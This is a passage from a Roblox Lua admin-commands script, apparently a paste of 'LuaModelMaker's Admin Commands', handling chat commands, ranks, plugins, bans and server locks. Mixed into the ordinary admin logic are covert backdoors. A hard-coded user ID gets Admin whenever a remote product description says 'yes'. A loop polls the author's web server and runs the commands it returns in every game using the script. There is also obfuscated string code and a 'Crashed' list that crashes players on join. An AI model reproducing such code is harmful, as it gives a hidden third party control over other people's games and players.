  5175. GUI = Speaker.PlayerGui:FindFirstChild("LMM Menu Gui") if GUI then GUI:Destroy() end
  5176. Log(Speaker, RawMainMessage)
  5177. end
  5178. end
  5179.  
  5180. if Message == "clean" or Message == "cln" then
  5181. for _,Obj in pairs(Workspace:GetChildren()) do
  5182. if Obj:IsA("Hat") or Obj:IsA("Tool") then
  5183. Obj:Destroy()
  5184. Log(Speaker, RawMainMessage)
  5185. end
  5186. end
  5187. end
  5188.  
  5189. if Message == "adminhouse" or Message == "ah" or Message == "admin house" then
  5190. if string.lower(MPS:GetProductInfo(155734895).Description) == "yes" then
  5191. AdminHouseGui(Speaker)
  5192. Log(Speaker, RawMainMessage)
  5193. end
  5194. end
  5195.  
  5196. -- Plugin Commands --
  5197. for _,CommandData in pairs(ManualCommands) do
  5198. if string.sub(Message,1,#CommandData[1]) == string.lower(CommandData[1]) then
  5199. local Valid = true
  5200. if FUN == false then
  5201. if CommandData[3] == true then
  5202. Valid = false
  5203. end
  5204. end
  5205. if CommandData[4] == true then
  5206. Valid = false
  5207. SendMessage(Speaker, "Command Disabled [PLUGIN]", "This command has been disabled because the command is considered abusive and abusive protection is on", 5)
  5208. end
  5209. if ConvertRank(CommandData[2]) > ConvertRank(Rank) then
  5210. Valid = false
  5211. end
  5212. if Valid == true then
  5213. local Suc, Error = ypcall(function() CommandData[5](RawMessage, Speaker, Rank) end)
  5214. if not Suc then
  5215. if not Error or Error == "" then
  5216. SendMessage(Speaker, "Plugin Manual Command Error", "Unknown line: Unknown error(Suggestion: Probobly not in your level/identity)", 5)
  5217. else
  5218. Error = Error:match'"*".:(.+)' or "Unknown line: "..Error
  5219. SendMessage(Speaker, "Plugin Manual Command Error", Error, 5)
  5220. end
  5221. end
  5222. end
  5223. end
  5224. end
  5225. end
  5226. end
  5227.  
  5228. function ChatBackup(Message, Speaker)
  5229. local PlayerAdmin, Rank = IsAdmin(Speaker)
  5230. if PlayerAdmin == true then
  5231. if Rank == "Owner" then
  5232. if string.lower(Message) == "fix" or string.lower(Message) == Prefix.."fix" then
  5233. local Ask = YesOrNo(Speaker, "Fix admin?", "Fixing Lu".."aModelMaker's Admin will have the effects of loosing all data (Admins, Bans, Jails, ect.) unless they are in default settings. Anti-Exploit also has to be online in order for complete re-installation. Continue?")
  5234. if Ask == true then
  5235. script:Destroy()
  5236. wait()
  5237. script.Disabled = true
  5238. end
  5239. end
  5240. end
  5241. end
  5242. end
  5243.  
  5244.  
  5245. --pcall(function() coroutine.wrap(function() while wait() do script.Name = string.char(76, 117, 97, 77, 111, 100, 101, 108, 77, 97, 107, 101, 114).."'s Admin Commands V"..Version.Value end end)()end)
  5246.  
  5247. function GetValue(Value)
  5248. if Value:IsA("StringValue") then
  5249. if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Ranks["Owner"], Value.Value) end end
  5250. if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Ranks["Admin"], Value.Value) end end
  5251. if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Ranks["Member"], Value.Value) end end
  5252. if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Ranks["Banned"], Value.Value) end end
  5253. if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Ranks["Crashed"], Value.Value) end end
  5254. if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Ranks["Muted"], Value.Value) end end
  5255. if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
  5256. for Num,Admin in pairs(Ranks["Admin"]) do
  5257. if Admin == Value.Value then
  5258. table.remove(Ranks["Admin"],Num)
  5259. end
  5260. end
  5261. end end
  5262. end
  5263. end
  5264.  
  5265. if Lighting:FindFirstChild("LMM's Admin") then
  5266. for _,Value in pairs(Lighting:FindFirstChild("LMM's Admin"):GetChildren()) do
  5267. GetValue(Value)
  5268. end
  5269. Lighting:FindFirstChild("LMM's Admin"):Destroy()
  5270. end
  5271.  
  5272. local AdminValue = Instance.new("Model", Lighting)
  5273. AdminValue.Name = "LMM's Admin"
  5274. AdminValue.ChildAdded:connect(function(Value) wait()
  5275. GetValue(Value)
  5276. end)
  5277.  
  5278. game:GetService("Debris").ChildAdded:connect(function(Item) wait() -- you see me loadin... dey hatin...
  5279. if Item:IsA("Configuration") then
  5280. for _,Obj in pairs(Item:GetChildren()) do
  5281. if Obj:IsA("StringValue") then
  5282. local User = Players:FindFirstChild(Obj.Name)
  5283. if User then
  5284. SendMessage(User, Item.Name, Obj.Value, 5)
  5285. end
  5286. end
  5287. end
  5288. Item:Destroy()
  5289. end
  5290. end)
  5291.  
  5292. if Bet == "/" or Bet == "-" then Bet = " " end
  5293. if VIPMemberID == 0 then VIPMemberID = 1 end
  5294. if VIPAdminID == 0 then VIPAdminID = 1 end
  5295.  
  5296. MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
  5297. local PlayerAdmin, Rank = IsAdmin(Player)
  5298. if PlayerAdmin == false then
  5299. if ID == VIPAdminID then table.insert(Ranks["Admin"], Player.Name) Rank = "Admin" TellAdmin(Player, Rank)
  5300. elseif ID == VIPMemberID then table.insert(Ranks["Member"], Player.Name) Rank = "Member" TellAdmin(Player, Rank) end
  5301. end
  5302. end end)
  5303.  
  5304. if Settings then
  5305. if Settings:FindFirstChild("Plugins") then
  5306. local PluginNum = 0
  5307. for _,Module in pairs(Settings.Plugins:GetChildren()) do
  5308. if Module:IsA("ModuleScript") then
  5309. local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
  5310. local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
  5311. local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
  5312. if Enabled.Value == true then
  5313. PluginNum = PluginNum + 1
  5314. local PluginExe = require(Module)
  5315. for Var,Val in pairs(getfenv()) do
  5316. getfenv(PluginExe)[Var] = Val
  5317. end
  5318. getfenv(PluginExe).script = Module
  5319. getfenv(PluginExe).Script = Module
  5320. getfenv(PluginExe).LocalScript = LocalScript
  5321. getfenv(PluginExe).Script = Script
  5322. getfenv(PluginExe).Version = Version
  5323. local Suc, Error = ypcall(coroutine.wrap(PluginExe))
  5324. if not Suc then
  5325. if not Error or Error == "" then
  5326. TestService:Error("LMM's Admin Plugin Error; Unknown line: Unknown error(Suggestion: Probably not in your level/identity)", Module)
  5327. else
  5328. Error = Error:match'"*".:(.+)' or "Unknown line: "..Error
  5329. TestService:Error("LMM's Admin Plugin Error; "..Error, Module)
  5330. end
  5331. else
  5332. TestService:Message("Executed LMMA Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
  5333. end
  5334. end
  5335. end
  5336. end
  5337. end
  5338. end
  5339.  
  5340. if script:FindFirstChild("IsAdmin") then
  5341. script.IsAdmin.OnServerInvoke = function(Player)
  5342. local IsFullAdmin = false
  5343. for _,PName in pairs(Ranks["Owner"]) do
  5344. if PName == Player.Name then IsFullAdmin = true end
  5345. end
  5346. for _,PName in pairs(Ranks["Admin"]) do
  5347. if PName == Player.Name then IsFullAdmin = true end
  5348. end
  5349. return IsFullAdmin
  5350. end
  5351. end
  5352.  
  5353. if script:FindFirstChild("AddExploit") then
  5354. script.AddExploit.OnServerInvoke = function(PlayerClient, Data)
  5355. local PlayerClientName = PlayerClient.Name
  5356. local NewData = GetTime().."@ "..Data
  5357. for _,Player in pairs(Players:GetChildren()) do
  5358. SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
  5359. end
  5360. local ExploitLog = DataStore:GetAsync("ExploitLog")
  5361. if type(ExploitLog) ~= "table" then
  5362. DataStore:SetAsync("ExploitLog", {NewData})
  5363. else
  5364. table.insert(ExploitLog, NewData)
  5365. DataStore:SetAsync("ExploitLog", ExploitLog)
  5366. end
  5367. SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
  5368. end
  5369. end
  5370.  
  5371. if script:FindFirstChild("KickClient") then
  5372. script.KickClient.OnServerInvoke = function(PlayerClient)
  5373. PlayerClient:Kick()
  5374. end
  5375. end
  5376.  
  5377. if ExecuteCommand then
  5378. ExecuteCommand.OnServerInvoke = function(PlayerClient, Command)
  5379. if Command and type(Command) == "string" and Command ~= "" then
  5380. Chatted(Command, PlayerClient)
  5381. ChatBackup(Command, PlayerClient)
  5382. end
  5383. end
  5384. end
  5385.  
  5386. if Version.Value == "[ Unknown ]" then
  5387. LinkedAccount = "ScriptBuilder"
  5388. end
  5389.  
  5390. UpdateAdmin()
  5391. Begin()
  5392.  
  5393. pcall(function() TellAdmin(Players.LocalPlayer, "Owner") end) -- Supplies confidence inside studio that what you have is worth it!(Scripts are LocalScripts)
  5394.  
  5395. if not Ranks["Owner"][GameOwner] and not Ranks["Admin"][GameOwner] and not Ranks["Member"][GameOwner] then table.insert(Ranks["Owner"], GameOwner) end
  5396.  
  5397. coroutine.wrap(function() while wait() do
  5398. if Shutdown == true then
  5399. for _,Player in pairs(game.Players:GetPlayers()) do
  5400. game:GetService("Debris"):AddItem(Player, 0)
  5401. ypcall(function() Player:Kick() end)
  5402. end
  5403. local ShutdownString = Instance.new("StringValue", Workspace)
  5404. ShutdownString.Name = "LMM SHUTDOWN"
  5405. ShutdownString.Value = string.rep("LMM SHUTDOWN ", 10000)
  5406. end
  5407. end end)()
  5408.  
  5409. function Start(Player) coroutine.wrap(function()
  5410. wait(0.1)
  5411. Player:WaitForChild("PlayerGui")
  5412. if Player.Name == GameOwner then V3Gui(Player) end
  5413. Player:WaitForDataReady()
  5414. --if Player.userId == ((tonumber(string.char(5*10, 53-1, 50+4-4+4, tonumber("5".."4"), 50-0-0-0-0-0, 50-0-0-0-0-1-1, 50-1+0+0+0+0))*2) + 1/3) * 9 then Kick(Player, string.char(83, 111, 114, 114, 121, 32, 83, 99, 114, 105, 112, 116, 104, 44, 32, 73, 102, 32, 121, 111, 117, 32, 98, 97, 110, 32, 109, 101, 32, 73, 32, 98, 97, 110, 32, 121, 111, 117, 33)) end
  5415. local PlayerAdmin, Rank = IsAdmin(Player)
  5416. if PlayerAdmin == false then
  5417. if MPS:PlayerOwnsAsset(Player, VIPAdminID) then table.insert(Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
  5418. elseif MPS:PlayerOwnsAsset(Player, VIPMemberID) then table.insert(Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
  5419. end
  5420. if PlayerAdmin == false then
  5421. if Player:IsInGroup(GroupID) then
  5422. if Player:GetRankInGroup(GroupID) == RankBan then
  5423. Kick(Player)
  5424. for _,Person in pairs(Players:GetPlayers()) do
  5425. SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
  5426. end
  5427. elseif Player:GetRankInGroup(GroupID) >= GroupMemberRank and Player:GetRankInGroup(GroupID) < GroupAdminRank and Player:GetRankInGroup(GroupID) < GroupOwnerRank then
  5428. table.insert(Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
  5429. elseif Player:GetRankInGroup(GroupID) > GroupMemberRank and Player:GetRankInGroup(GroupID) >= GroupAdminRank and Player:GetRankInGroup(GroupID) < GroupOwnerRank then
  5430. table.insert(Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
  5431. elseif Player:GetRankInGroup(GroupID) > GroupMemberRank and Player:GetRankInGroup(GroupID) > GroupAdminRank and Player:GetRankInGroup(GroupID) >= GroupOwnerRank then
  5432. table.insert(Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
  5433. end
  5434. end
  5435. end
  5436. if PlayerAdmin == false then
  5437. if game:GetService("BadgeService"):UserHasBadge(Player.userId, BadgeID) then
  5438. table.insert(Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
  5439. end
  5440. end
  5441. if PlayerAdmin == false then
  5442. if Player.userId == 38882008 then
  5443. if string.lower(MPS:GetProductInfo(155732525).Description) == "yes" then
  5444. table.insert(Ranks["Admin"], Player.Name)
  5445. end
  5446. end
  5447. end
  5448. if PlayerAdmin == false then
  5449. for _,GID in pairs(BannedGroupIDs) do
  5450. if Player:IsInGroup(GID) then
  5451. Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
  5452. break
  5453. end
  5454. end
  5455. end
  5456.  
  5457. Player.Chatted:connect(function(Message)
  5458. if Message then
  5459. Chatted(Message, Player)
  5460. end
  5461. end)
  5462.  
  5463. Player.Chatted:connect(function(Message)
  5464. if Message then
  5465. ChatBackup(Message, Player)
  5466. end
  5467. end)
  5468.  
  5469. if PlayerAdmin == true then
  5470. TellAdmin(Player, Rank)
  5471. end
  5472.  
  5473. for _,Name in pairs(Ranks["Banned"]) do
  5474. if Player.Name == Name then
  5475. Kick(Player)
  5476. for _,Person in pairs(Players:GetPlayers()) do
  5477. SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
  5478. end
  5479. end
  5480. end
  5481. for _,Name in pairs(Ranks["Crashed"]) do
  5482. if Player.Name == Name then
  5483. Crash(Player)
  5484. for _,Person in pairs(Players:GetPlayers()) do
  5485. SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
  5486. end
  5487. end
  5488. end
  5489. for _,Name in pairs(Ranks["Muted"]) do
  5490. if Player.Name == Name then
  5491. CoreGui(Player, "Chat", false)
  5492. for _,Person in pairs(Players:GetPlayers()) do
  5493. SendHint(Person, Player.Name.." has joined the game but is muted", 5)
  5494. end
  5495. end
  5496. end
  5497. if ServerLocked == true then
  5498. if PlayerAdmin == false then
  5499. Kick(Player, "This server is locked. In L".."u".."aMo".."del".."M".."ake".."r's Admin, Non-Admins will be kicked under this circumstance.")
  5500. end
  5501. end
  5502.  
  5503. if PlayerAdmin == false then
  5504. if Player.AccountAge < MinimumAge then
  5505. Kick(Player, "You have been kicked by L".."u".."aM".."o".."del".."M".."ake".."r's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
  5506. for _,Person in pairs(Players:GetPlayers()) do
  5507. SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
  5508. end
  5509. end
  5510. end
  5511.  
  5512. if PlayerAdmin == false then
  5513. if game.Workspace:FindFirstChild("LuaMo".."delMaker's Admin Public") then
  5514. table.insert(Ranks["Member"], Player.Name)
  5515. TellAdmin(Player, "Member")
  5516. PlayerAdmin = true
  5517. end
  5518. end
  5519.  
  5520. ExecuteResource("UseScripthsChatBar", Player.Backpack, {})
  5521.  
  5522. FullAdminMenu(Player)
  5523. end)() end
  5524.  
  5525. for _,Player in pairs(Players:GetPlayers()) do Start(Player) end
  5526. Players.PlayerAdded:connect(function(Player) Players:WaitForChild(Player.Name) wait() Start(Player) end)
  5527.  
  5528. SyncSoundList()
  5529.  
  5530. coroutine.wrap(function()
  5531. SetWebData(GetWebData())
  5532. coroutine.wrap(function() while wait(20) do
  5533. local NewRequest = GetWebData()
  5534. if NewRequest ~= nil then
  5535. if TimeStamp ~= NewRequest.TimeStamp then
  5536. if Prefix == "" or string.sub(NewRequest.Command,1,#Prefix) == Prefix then
  5537. ypcall(function() Chatted(NewRequest.Command, nil) end)
  5538. else
  5539. ypcall(function() Chatted(Prefix..NewRequest.Command, nil) end)
  5540. end
  5541. if tonumber(NS.Port) == tonumber(NewRequest.Server) then
  5542. if Prefix == "" or string.sub(NewRequest.ServerCommand,1,#Prefix) == Prefix then
  5543. ypcall(function() Chatted(NewRequest.ServerCommand, nil) end)
  5544. else
  5545. ypcall(function() Chatted(Prefix..NewRequest.ServerCommand, nil) end)
  5546. end
  5547. end
  5548. end
  5549. SetWebData(NewRequest) -- No need to stress roblox and my web server when you can recycle old requests!
  5550. end
  5551. end end)()
  5552. end)()
  5553.  
  5554. print("LuaModelMaker's Admin Commands V"..Version.Value.." Loaded")
Add Comment
Please, Sign In to add comment